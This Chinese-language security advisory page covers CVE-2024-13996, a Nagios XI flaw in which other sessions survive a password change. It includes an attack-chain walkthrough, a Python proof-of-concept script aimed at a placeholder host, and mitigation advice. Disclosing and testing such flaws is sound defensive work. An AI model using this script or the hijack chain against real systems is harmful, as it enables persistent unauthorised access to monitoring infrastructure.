IPBUF安全漏洞报告
English
CVE-2024-13996 CVSS 9.8 严重

CVE-2024-13996 Nagios XI 密码修改后会话未失效漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2024-13996
漏洞类型
会话管理漏洞
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

会话管理漏洞Nagios XI密码修改会话劫持认证绕过CVE-2024-13996网络监控软件

漏洞概述

CVE-2024-13996是Nagios XI中的一个高危安全漏洞,存在于2024R1.1.3之前的所有版本。该漏洞属于会话管理不当(Insufficient Session Expiration)类型,当用户修改密码时,系统未能正确终止该用户的所有其他活跃会话。攻击者可能已经获取了用户的会话令牌,在用户不知情的情况下,即使密码被更改,攻击者仍然可以维持对受影响账户的持续访问。这种漏洞为会话劫持和会话固定攻击提供了可乘之机,攻击者可以在用户认为已经保护账户后继续执行未授权操作,包括访问敏感监控数据、修改系统配置或执行管理员操作。由于该漏洞无需特殊权限即可利用,且CVSS评分高达9.8分,对使用Nagios XI的企业和组织构成了严重的安全威胁。

技术细节

该漏洞的技术根源在于Nagios XI的会话管理机制存在设计缺陷。当用户通过密码修改功能更新凭证时,系统仅更新了数据库中的密码哈希值,但并未遍历并终止与该用户关联的所有活动会话。具体来说,系统缺少对session_tokens或类似会话存储表的全局清理逻辑,导致攻击者之前建立的会话标识符(如通过XSS、恶意链接或中间人攻击获取的)仍然有效。攻击者只需持有有效的会话令牌,即可在密码修改后继续以该用户身份向服务器发送请求。服务器端会话验证逻辑仅检查令牌有效性,而非重新验证用户凭证,从而绕过了密码修改后的安全更新。由于Nagios XI通常以root或管理员权限运行,此漏洞可导致整个监控基础设施被完全控制。

攻击链分析

STEP 1
步骤1
攻击者通过XSS、CSRF、社会工程学或中间人攻击等方式获取受害者的有效会话令牌
STEP 2
步骤2
攻击者使用窃取的会话令牌访问Nagios XI系统,执行侦察和信息收集
STEP 3
步骤3
受害者发现账户异常或出于安全考虑,主动修改密码
STEP 4
步骤4
密码修改完成后,Nagios XI未终止受害者的其他活跃会话
STEP 5
步骤5
攻击者继续使用旧的会话令牌访问系统,此时密码已更改但会话仍有效
STEP 6
步骤6
攻击者可在受害者不知情的情况下持续监控数据、修改配置或提升权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2024-13996 PoC - Nagios XI Session Not Invalidated After Password Change This PoC demonstrates that active sessions remain valid after password change. """ import requests import sys from bs4 import BeautifulSoup TARGET = "http://target-nagios-xi.local" USERNAME = "admin" OLD_PASSWORD = "old_password" NEW_PASSWORD = "new_password" def get_session_token(session, url): """Extract session token from response""" response = session.get(url) for cookie in session.cookies: if 'nagiosxi' in cookie.name.lower() or 'php' in cookie.name.lower(): return cookie.value return None def login(session, username, password): """Authenticate and get session""" login_url = f"{TARGET}/nagiosxi/login.php" data = { 'username': username, 'password': password, 'loginButton': 'Login' } response = session.post(login_url, data=data, allow_redirects=True) return response.status_code == 200 def change_password(session, new_password): """Change user password""" profile_url = f"{TARGET}/nagiosxi/account.php" data = { 'pwdchange': '1', 'old_password': OLD_PASSWORD, 'new_password': new_password, 'confirm_password': new_password } return session.post(profile_url, data=data) def verify_session(session, expected_working=True): """Verify if session is still valid after password change""" dashboard_url = f"{TARGET}/nagiosxi/index.php" response = session.get(dashboard_url) return 'nagios' in response.text.lower() and response.status_code == 200 def main(): session = requests.Session() # Step 1: Attacker obtains valid session token (e.g., via XSS or MITM) print("[*] Step 1: Obtaining initial session token...") if not login(session, USERNAME, OLD_PASSWORD): print("[-] Login failed") return attacker_token = get_session_token(session, TARGET) print(f"[+] Got session token: {attacker_token[:20]}...") # Step 2: Victim changes password (simulated) print("\n[*] Step 2: Victim changes password...") change_password(session, NEW_PASSWORD) print("[+] Password changed to new value") # Step 3: Verify attacker's session still works print("\n[*] Step 3: Verifying old session still valid...") if verify_session(session): print("[!] VULNERABLE: Old session still active after password change!") print("[!] Attacker can continue accessing the account") else: print("[-] Session properly invalidated (patched)") if __name__ == "__main__": main()

影响范围

Nagios XI < 2024R1.1.3

防御指南

临时缓解措施
在等待官方补丁期间,建议管理员手动检查并终止所有异常会话,可通过Nagios XI后台的'Current Sessions'功能实现。同时启用详细的审计日志记录,以便及时发现未授权的会话活动。对于高风险用户,考虑临时禁用账户并重新创建,强制建立全新的安全会话。此外,加强网络层面的访问控制,限制只有受信任的IP地址才能访问管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表